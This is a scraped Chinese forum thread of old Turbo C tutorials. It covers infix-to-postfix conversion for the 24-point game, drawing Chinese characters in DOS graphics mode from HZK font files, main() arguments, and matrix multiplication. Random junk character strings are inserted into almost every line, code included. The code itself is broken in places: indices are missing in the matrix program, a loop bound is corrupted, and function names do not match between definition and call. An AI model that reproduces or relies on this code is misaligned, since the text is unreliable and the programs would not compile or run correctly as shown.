(B+C)/(A-D) BC+AD-/# K; n* f! @" T9 v. V

( g! L# i0 O% l" k  OK,所谓表达式的线性化是指将中缀表达的表达式转化为波兰表达式。对于每一个表达式,利用栈可以把表达式变换成波兰表达式,也可以利用栈来计算波兰表达式的值。
6 _- s+ \+ F! P7 J5 a; B
& h" {0 Z- u0 E* t" p  至于转换和计算的过程和第一种方法大同小异,这里就不再赘述了。( p$ s" `; _! N4 T& |) p* W

+ W3 m% a2 M) v3 ], w( ~  下面给出转换和计算的具体实现程序——
* K* [$ M  K  B3 u
1 N2 L! L* j: ]5 e6 C<FONT color=#009900>/* first函数给出各个运算符的优先级,其中=为表达式结束符 */
) a, D) U& H* ?+ _) f. p  u5 b. o2 Gint first(char c)
3 s7 `) J' a4 R6 l! O# Z{ int p;- I! \6 L9 @9 s- E2 J  v+ V
switch(c)
) S6 u, \; o8 a; P4 `9 V1 F" M# [{ case '*': p=2; break;
( s! V2 z& h$ t2 Xcase '/': p=2; break;/ ^' q4 W9 [' n; a& Y
case '+': p=1; break;
4 @4 B+ H* O2 }, dcase '-': p=1; break;
9 {: P5 n  R0 b/ q' [' lcase '(': p=0; break;
6 U+ A7 s) E# ]7 U8 Y; l' [case '=': p=-1; break;* l1 [9 f' A+ A' B& e- q
}6 z' _1 D1 R! [" f/ T' W
return(p);( Z2 v7 V! P; O" s5 v* x1 _
}( ?4 ]: Z$ ~. U% e
/* 此函数实现中缀到后缀的转换 */& n9 W+ r$ H7 Z  s, x, p
/* M的值宏定义为20 */
' b' `$ O* _" z4 l, H, ?/ C/* sp[]为表达式数组 */
; w* }2 `. [9 Nint mid_last()) c' e& O& B' ]3 j. W3 V" ^, ^
{ int i=0,j=0; char c,sm[M];
8 [! C; J/ m$ t$ T" [c=s[0]; sm[0]='='; top=0;
1 \2 L0 E& o$ `4 swhile(c!='\0')
7 h' X( u4 U  Y- R, X4 p{ if(islower(c)) sp[j++]=c;( |2 R/ Z6 ^* E  e7 v
else switch(c)
$ y8 L& n, O# N9 z" t2 `: D2 H{ case '+':2 p( z( `! ]% g4 V. Y5 T" b2 T
case '-':
: K7 F2 }# M! Y; }; L0 J& Wcase '*':
5 F) g8 W' E8 M4 ^case '/': while(first(c)&lt;=first(sm[top]))
& N( s: I, L' v) ^8 b5 z; m9 A& X9 d; bsp[j++]=sm[top--];
& ]2 e8 t9 M) |9 jsm[++top]=c; break;+ G$ F( v" n6 q
case '(': sm[++top]=c; break;; X3 b3 E$ M* |
case ')': while(sm[top]!='(')7 t0 U- {) J$ v6 t
sp[j++]=sm[top--];7 H$ m$ z- w9 ]5 O3 o6 G4 _
top--; break;2 s6 a! a# Q( A4 w8 W
default :return(1);8 E- ?! o- z  I2 C+ f
}( Z6 f9 R7 |" ?
c=s[++i];' O( N% f* z, c7 s/ g
}- i. V0 ~/ ]. [+ N
while(top&gt;0) sp[j++]=sm[top--];
, e& T. J$ g" Z3 q; s6 _! }sp[j]='\0'; return(0);1 t! n1 ^  w, d/ }6 j9 L$ [
}
, V3 Y0 }6 b& e3 Z; @5 Q: P' [/* 由后缀表达式来计算表达式的值 */
4 o1 k7 k% |* O% i! v2 `( P5 G9 qint calc()
) J& g' l( i0 |2 _. q$ o6 V{ int i=0,sm[M],tr; char c;0 I  ~% R3 V( W* J8 w! p5 S: [; b
c=sp[0]; top=-1;
! _, `; a9 r$ u8 }# W" wwhile(c!='\0')
+ C% x' i* t4 C  M" M  ], S{ if(islower(c)) sm[++top]=ver[c-'a'];/*在转换过程中用abcd等来代替数,
+ X# W1 l" D1 J2 e& k这样才可以更方便的处理非一位数,
3 @8 J+ t8 I6 L' Z' Yver数组中存放着这些字母所代替的数*/
  q4 p7 h8 w  |3 ]5 Nelse switch(c)
8 n4 t; B8 D; ~! R! I5 e{ case '+': tr=sm[top--]; sm[top]+=tr; break;
% v. P" h9 m* Ucase '-': tr=sm[top--]; sm[top]-=tr; break;
. X! }* y2 m" Q6 V9 O: g7 Ncase '*': tr=sm[top--]; sm[top]*=tr; break;
7 v/ x! }# D' z/ dcase '/': tr=sm[top--];sm[top]/=tr;break;+ l- U- {' |2 K2 ~+ g+ p3 J" ?  D, s( S
default : return(1);
) z4 ]9 ~3 u; _0 S, S  P( m+ E}
* J# [8 P! s- M! ]' R7 P5 uc=sp[++i];
# G* F2 [$ ~5 R  S2 j: B4 I! E}+ M, ]+ h, {$ d* k
if(top&gt;0) return(1);
4 i! L3 ]+ X0 L1 {else { result=sm[top]; return(0); }# U3 e  ]0 i) t0 w( Y0 K+ i
}  f  W4 w$ ?: {+ o- G+ N7 f$ i
</FONT>
( h% J/ v3 [) G; n  这样这个程序基本上就算解决了,回过头来拿这个程序来算一算文章开始的那个问题。哈哈,算出来了,原来如此简单——(6-3)*10-6=24。+ T8 s, G/ j1 Y, \- a
& |8 {  F/ U5 C" K# o
  最后我总结了一下这其中容易出错的地方——
9 I$ {2 h. f4 [1 y% m6 D3 t0 c9 I1 }: v6 p  e/ Q' \
  1、 排列的时候由于一个数只能出现一次, 所以必然有一个判断语句。但是用什么来判断,用大小显然不行,因为有可能这四个数中有两个或者以上的数是相同的。我的方法是给每一个数设置一个代号,在排列结束时,通过这个代号找到这个数。
/ r1 l# K$ Z; ]4 {4 x1 g5 Z% x6 i4 ]! Y! _  h) `
  2、在应用嵌套函数时,需仔细分析程序的执行过程,并对个别变量进行适当的调整(如j的值),程序才能正确的执行。
' Z% |, `9 h/ f' u, y4 l7 A
) \: \3 z+ r) `  3、在分析括号问题的时候要认真仔细,不要错过任何一个可能的机会,也要尽量使程序变得简单一些。不过我的分析可能也有问题,还请高手指点。
( O! a' i2 ]8 K! {8 |3 a
/ z# ]4 b8 v5 X- u& J  4、在用函数对一个数组进行处理的时候,一定要注意如果这个数组还需要再应用,就必须将它先保存起来,否则会出错,而且是很严重的错误。
2 l: o2 K8 y- ?+ m4 T8 y* H) l
  5、在处理用户输入的表达式时,由于一个十位数或者更高位数是被分解成各位数存放在数组中,所以需对它们进行处理,将它们转化成实际的整型变量。另外,在转化过程中,用一个字母来代替这个数,并将这个数存在一个数组中,且它在数组中的位置和代替它的这个字母有一定的联系,这样才能取回这个数。0 M4 A5 s: S0 {9 h8 @& y+ @3 E

1 M6 h$ y$ L1 z- q3 M  6、由于在穷举过程难免会出现计算过程中有除以0的计算,所以我们必须对calc函数种对于除的运算加以处理,否则程序会因为出错而退出(Divide by 0)。
; O; h. C" u+ s9 `& V% @
. ?$ j1 @2 c/ n2 O2 t( _4 m  7、最后一个问题,本程序尚未解决。对于一些比较著名的题目,本程序无法解答。比如说5、5、5、1或者8、8、3、3。这是由于这些题目在计算的过程用到了小数,而本程序并没有考虑到小数。3 g$ ~* s0 l" g6 l
</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>
; e: P7 I. m, F  s图形模式下的汉字显示</B></FONT></P><> </P><> 我们在编写一些应用软件时,为了使软件更为通俗浅显、易学易用,具备汉字的用户界面是必不可少的条件。在文本模式下,只要有汉字操作系统的支持,显示汉字是不成问题的。只要用printf或cprintf就可以了。#include <STDIO.H>void main(){printf("我正在学习C语言!");}) b: S6 w% C% J# k4 e* O  m. ?* x3 q2 x
  在图形模式下显示汉字就稍稍麻烦些。可幸的是有很多人从事这一问题的研究,并开发了一些用于汉字显示的函数。这些函数不需要汉字系统的支持,但用到其中的字库文件。如UCDOS的HZK16。% k; Y, m# c: S" s
  汉字显示的第一步是打开字库文件。
6 ]; l& w# w. L- L4 z  函数: int OpenHz(const char *Hz16Path); 功能:打开字库文件Hz16Pathint handle; /*打开的字库文件指针*/int OpenHz(const char *Hz16Path){return (handle=open(Hz16Path,O_RDONLY|O_BINARY));} 打开字库文件后,就可以用下面介绍的函数显示16点阵的汉字。
; `" e& o+ m. G! J  函数: int WrtHz16(int x,int y,int z,int color,char *p); 功能:在(x,y)用color颜色显示汉字串p,汉字之间的空格数为z。intWrtHz16(int x, int y,int z,int color,char *p)
* u0 X/ |) n$ C2 e3 t. @/ S( i{; n" u, R, a' Y) v) s
unsigned int i,c1,c2,f=0; /*x,y:write at (x,y);*/" V: O' f' h* B0 j6 b4 o$ t/ ~8 ?
int rec,i1,i2,i3; /*z:space between;*/$ _9 o1 c$ I6 {+ K
long l; /*color:txt color*/: g, H# ^: V. x& |3 m, p3 G4 y
char by[32]; /*p:HZ str*/
( {+ h- p/ X; H4 u- `# jif( handle&lt;0 ) return -1; while((i=*p++)!=0){1 V( y; x! v- Z2 a
if(i&gt;0xa1)) T) `2 \- ]" p9 V+ J$ B  ~% U# r. l
if(f==0){
* s8 N7 W( E/ z0 ~/ xc1=(i-0xa1)&amp;0x07f;6 R; m: M8 G  T  R6 D  k
f=1;
4 Y+ X  n/ |: b8 S* `  V}  x9 }0 P$ e3 V* N6 t
else{
9 `, Q$ u& n+ tc2=(i-0xa1)&amp;0x07f;
: G) N( R$ ^8 Xf=0;3 ]6 r4 o: e# h- ]5 {
rec=c1*94+c2;3 Y% t/ F0 }" p- ~! f/ N4 j
l=rec*32L;/ F6 Z5 X  Z/ T
lseek(handle,l,SEEK_SET);5 A0 ~- A0 t9 I9 s; z0 I( H
read(handle,by,32);
7 p6 s' T: _7 w6 R+ B' T& sfor(i1=0;i1&lt;16;i1++)
# |8 g5 I6 ^2 [0 C$ G8 Lfor(i2=0;i2&lt;2;i2++)
1 E6 l1 ]  J/ ^for(i3=0;i3&lt;8;i3++)+ b5 n9 p# G% j# H6 h5 G
if(GetBit(by[i1*2+i2],7-i3))/ q( ]- A6 W5 A/ o, n0 t7 I  p
putpixel(x+i2*8+i3,y+i1,color);3 ]: L2 Y2 u7 \6 n$ L  g2 J
x=x+z+16;
4 ?2 k4 h+ Y& N* T7 l( p' D2 C}$ l# M8 \( w: M3 P$ Z
}
3 q; P5 D' }1 T9 {. I1 W6 xreturn(x);
& O; X, B6 i5 {$ k}
) X; A  A3 p( v6 G1 T函数GetBit定义如下:
3 e# ]5 i+ L6 I  函数: int GetBit(unsigned char c,int n); 功能:取得汉字的点阵数据。
% ~8 @& i1 [: C. R! p0 A* R* fint GetBit(unsigned char c,int n)1 M! ], L7 J! U5 ~
{
, Y7 K, {* ^. f1 T! D. z5 H: nreturn((c&gt;&gt;n)&amp;1);
& G# E. \- d  m  z; {) L+ b7 G3 y}
) `% Y  d& `; X汉字显示结束,应该关闭字库文件。' s! o6 s; V5 |
void CloseHz(void)- T% Z/ J) b* x  {% F
{8 N4 y6 Q5 H- y; P% G& T  j2 K# `
close( handle );
6 \3 T) {2 E6 t( Z}. z1 p0 R& m- y+ ~9 ~( D/ i- m' G% c
#include "\Caic\Include\Hz.h"
) y! |3 S8 i1 R#include <GRAPHICS.H>/ ^. h2 a+ q4 S/ k* q/ Z
#include <CONIO.H>const char* Hz16Path = "\\UCDOS\\Hzk16.";% {3 m; A/ t1 ?2 n) f6 B% X+ j' t
const char* HzStr = "苦丁香C语言辅助学习软件";/ p1 E5 i) Q  w& ?; n
void main(){
0 a/ m' s. j0 |% I! E/ n! X* Bint gr=DETECT,gm;
$ R5 o" Y. ~" H' H4 \: uinitgraph(&amp;gr,&amp;gm,"\\Caic\\Bgi");; W( S: h: L/ J" k; k0 z
OpenHz( Hz16Path );
" K# V' R! C, k6 V* {5 F- HWrt16Hz(20,20,4,RED,HzStr);
7 z( q& N; ?- P. X2 |& pCloseHz();2 m/ a& i& E% i( D# ?6 W
getch();
! v7 ~+ U3 u' Y7 ^3 |/ {7 |4 M2 h3 Wclosegraph();  g( U+ x7 e- h+ k9 `
}显示24点阵及放大汉字
* F3 f$ Y/ C1 K% \/ a# w  下面探讨一下如何显示24点阵及放大汉字。24点阵字库也可在任意一种汉字系统中找到。如UCDOS的HZK24S。
& L0 q' [+ c+ e1 f" u; s函数: int WrtHz24(int x,int y,int z,int color,int m,\int n,char *p); 功能:显示24点阵及放大汉字。
$ z0 g2 d2 {' Z" i! a3 A5 ]( vint WrtHz24(int x,int y,int z,int color,int m,int n,char *p)( x. h4 Z8 r( b; G9 g0 V9 V- R1 c4 {3 S
{- Y9 C6 X/ u) g$ s# N1 z
unsigned int i,c1,c2,f=0; /*z: 汉字字符间的空格*/0 v) G$ f+ H6 X% U/ Q1 i$ \. _
int i1,i2,i3,i4,i5,rec; /*x,y: 先是位置(x,y)*/
  j  ~5 e$ ]3 x) ?' p1 M; glong l; /*color:汉字颜色*/
/ u0 U% Q0 K, w5 o2 Cchar by[72]; /*m: x 方向的放大倍数*/
1 W; ~, w% \$ j. m8 _* V$ Q- x/*n: y 方向的放大倍数*// Z) Q9 H' p5 @) ^
if( handle&lt;0 ) return -1; /*p: 显示汉字串*/ while((i=*p++)!=0){
! X! r* |* A, o" ]) r0 S) Lif(i&gt;0xa1)
, q1 E4 |% t  C+ n- s7 H% m$ sif(f==0){
" y( X! w% e6 w  j& i! H0 `c1=(i-0xa1)&amp;0x7f;  w0 K$ S' j6 g' N1 e0 {" b0 c. ]
f=1;$ b' @9 U. M1 B1 |. b
}2 P3 Y" h8 t; N# I, m% _- E8 ]
else{
; K1 k+ A) E) v6 q4 Nc2=(i-0xa1)&amp;0x7f;* P# P4 I# M1 }, _+ W& b
f=0;2 T% _2 l, g& p" N6 ^) G- o7 ?
rec=(c1-15)*94+c2;
) @/ S& Q4 K: I1 b- `l=rec*72L;) Y  _7 g& n* n, V
lseek(handle,l,SEEK_SET);
$ r" i) @% G4 j8 G7 @) x" vread(handle,by,72);
, p# q% |! u  M5 w. J/ }for(i1=0;i1&lt;24*m;i1=i1+m)# k) S$ u4 n; x/ G# G  X% i# u
for(i4=0;i4<M;I4++): K+ C1 t8 L* z: ]( V1 W2 _
for(i2=0;i2&lt;=2;i2++)
6 x  o, R9 {; O6 z* \) R# B0 E( zfor(i3=0;i3&lt;8;i3++): a8 j$ \3 I& u5 A. {: O
if(GetBit(by[i1/m*3+i2],7-i3))) {0 {6 ^2 S# ^! |1 w9 b
for(i5=0;i5<N;I5++)/ r- a9 s/ C. A' l
putpixel(x+i1+i4,y+i2*8*n+i3*n+i5,color);& y0 l- K) m+ Y% f+ h  O8 e& E
x=x+24*m+z;( d& u* Y% F/ H8 z2 U2 }2 b
}
5 k7 S. `8 w) j* r}. `+ r% N: r" d4 O; c
return(x);+ L1 {& ~' R) _: a% k' m
} 使用Wrt24Hz的例子:#include "\Caic\Include\Hz.h"! L5 Y5 p" A" W% a0 D  U
#include <GRAPHICS.H>
% `. a2 C, j# s+ q#include <CONIO.H>const char* Hz24Path = "C:\\Ucdos\\fnt\\hzk24s."
8 m! v9 u- q' \+ H/ sconst char* HzStr = "苦丁香C语言辅助学习软件";+ G/ A& `* R$ z$ O/ w3 g
void main(){
) `- T: u1 H, d9 r8 Lint gr=DETECT,gm;
8 k, O, |8 {  ^* Q8 Tinitgraph(&amp;gr,gm,"\\Caic\\Bgi");
/ |- T* B2 |) l% x: y3 u1 ~OpenHz( Hz24Path );
2 K1 z9 W* d: V) `0 U4 ^Wrt24Hz(20,20, /*先是在(x,y)*/
1 v0 E) I9 k9 h: |1 d8 z' i4, /*汉字间的空格为4*/; w' P% F' C  i9 Z0 D* F" B
RED, /*用红色显示*/5 ~4 Z, u2 q. O4 k) u
2, /*x 方向放大2倍*/- l0 ~7 B4 K7 U8 W# y5 H. a* K: a
4, /*y 方向放大4倍*/$ L, p6 U- H, ]
HzStr); /*显示字符串*/& a& |! D) T$ w1 {3 n& {$ E8 m0 X5 _7 i
CloseHz();+ ?: W3 B: V" U# J" w  M2 t
getch();& j: ]6 R, q0 x
closegraph();
0 ^# V5 e, w& r: G/ G8 ~- Q}
' S' b' D' ]/ f3 N+ k. h# }</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<>  再谈main()主函数3 G# O" p5 k, g5 j& i* G
  每一C 程序都必须有一main()函数,可以根据自己的爱好把它放在程序的某个地方。有些程序员把它放在最前面,而另一些程序员把它放在最后面,无论放在哪个地方,以下几点说明都是适合的。
: U6 O1 V& |. H4 o1. main() 参数) f5 X8 H7 y2 c( O+ n2 x
  在Turbo C2.0启动过程中,传递main()函数三个参数:argc,argv和env。; t) B0 h! K' {, u8 _
  * argc: 整数,为传给main()的命令行参数个数。% q, i. k2 `6 r( l
  * argv: 字符串数组。4 v1 j4 U4 \& W6 o
在DOS 3.X 版本中,argv[0] 为程序运行的全路径名;
! B8 i. f9 ]3 r$ b对DOS 3.0 以下的版本,argv[0]为空串("") 。argv[1] 为在DOS 命令行中执行程序名后的第一个字符串;argv[2] 为执行程序名后的第二个字符串;
+ d& L$ i+ o) ?# E+ P4 E( V  s...
1 D1 S; ]) K- ^/ b% a; Zargv[argc]为NULL。
; _/ C8 b* m/ B! \8 Z  *env: 安符串数组。env[] 的每一个元素都包含ENVVAR=value形式的字符串。其中ENVVAR为环境变量如PATH或87。value 为ENVVAR的对应
) D9 t% J! O3 S2 O值如C:\DOS,C:\TURBOC(对于PATH) 或YES(对于87)。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>两个矩阵相乘的源程序</B></FONT></P><>/*****************A=B*C******************/6 s+ \# f0 c( s; N2 `' p
#include&lt;stdio.h&gt;5 C( }# b% s" j& {
#include&lt;conio.h&gt;
5 j( _# t7 R# Q; a  u% z#define X 3  j/ I5 Z/ {( G* H
#define Y 3</P><>int a[X][Y];
8 r' j" I8 x4 T$ U. `$ L& mint b[X][Y];4 G* F2 D2 J; n. Z
int c[X][Y];</P><>void matrix(int b[][X],int c[][Y]);7 G& J+ i8 i7 N) C
main(); c0 b/ A) z# N7 x- j- q
{/ d+ u. s9 @" A  ~; S: Z3 v2 P
int i,j,temp;3 ]- g, R7 p0 O! j/ w4 q
clrscr();; s, n8 U  B$ P
printf("lease input int matrix b[%d][%d]\n",X,Y);
% H* ~- K2 P/ t, b# g* nfor(i=0;i&lt;Y;i++)2 ^' c# g0 H. G. a4 T
for(j=0;j&lt;Y;j++){
0 R# j6 n7 Z1 C3 \' {* xscanf("%d",&amp;temp);
# w7 Z  I$ \& L3 v( k- y  p' ^6 Ab[j]=temp;
) F, ^' a& G, u& H/ \" ]}
7 P8 c! i( k- {4 b, }6 }6 ?printf("lease input int matrix c[%d][%d]\n",X,Y);/ Y* t% l, r/ b$ O! [# y1 V, `
for(i=0;i&lt;X;i++)# H8 v) ]7 y: c9 Q# A
for(j=0;j&lt;Y;j++){
6 A$ V+ g( H! r; y2 \. e$ E8 Iscanf("%d",&amp;temp);; E# l# ]# ~, W$ Y4 r4 Y6 G$ L
c[j]=temp;! u' }& D) n( _7 x/ L' b  j
}( q9 C, T/ a8 `9 g+ i' @
matrix(b,c);
' J' [9 h- \: dprintf("Now print resource matrix b[%d][%d]=",X,Y);
$ a1 l: d: @5 N, pfor(i=0;i&lt;X;i++){
/ i+ b5 f" \$ I# n# M) Vprintf("\n");( ~3 g* X! G+ [
for(j=0;j&lt;Y;j++)
) P  q! @8 E4 [9 I. F6 u/ rprintf("%d ",b[j]);
: W( C9 {: ~2 f5 H5 D7 ~. e, {}2 q4 S  w+ n( N7 C- q
printf("\n");5 Q5 E' n$ d/ e9 A& Y; g6 r
printf("Now print resource matrix c[%d][%d]=",X,Y);! e, c( ^) j" A2 C7 s
for(i=0;i&lt;X;i++){
, \# c4 {. h2 v9 }) ?printf("\n");
! C, |$ `  Y9 \9 f0 X8 t, R3 _for(j=0;j&lt;Y;j++)
* h& g1 n7 A1 U1 p5 V  Yprintf("%d ",c[j]);
8 T0 Q2 H  K- s' U. F}! @5 l# e; a) i/ ?' @$ S1 Y* p
printf("\n");9 G. S; c+ j- {4 m/ j
printf("Now printm multiply results matrix a[%d][%d]=B*C:",X,Y);
  d" J8 h5 P7 T; e# y6 r4 Hfor(i=0;i&lt;X;i++){
) p8 h8 ^% U- C/ q) o; n+ Sprintf("\n");
$ \# ]" |$ b: j& P# A8 T' M; O" xfor(j=0;j&lt;Y;j++)4 |& A8 F; W; H
printf("%d ",a[j]);
9 ?7 [2 N3 T4 H! t( o}
- e% U7 G2 c6 c* g6 z7 ?  T& ugetch();
9 \4 [/ R  Y) v; {6 |: B3 A/ Treturn 0;
" N: O" P  Y; W6 {- Q}3 J% @9 S& [  b6 G, t7 S
/********************************************************************/
' d. y0 d' L2 n  d) c. y$ [, dvoid matrix(int b[][X],int c[][Y])/ t/ f! b/ R  R8 ^. Z7 S
{
( ?, ?% m2 h/ q6 s7 g# ?# Pint i,j,k,temp;
4 q: U' e) h% B$ |5 ]9 }for(i=0;i&lt;X;i++)) a- c/ Z) _# R1 i, `
for(j=0;j&lt;Y;j++){
: i" c) Y# q( X8 U5 J0 @( Cfor(k=0;k&lt;Y;k++)
* k4 i0 B- O: E' l3 K7 {4 M. o+ Ba[j]+=b[k]*c[k][j];% u) t/ F6 B5 i7 i7 c6 H
}
! g4 p% h3 k" Q- U9 a) f  Y) n}</P>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-4-18 00:55 , Processed in 0.748925 second(s), 90 queries .

回顶部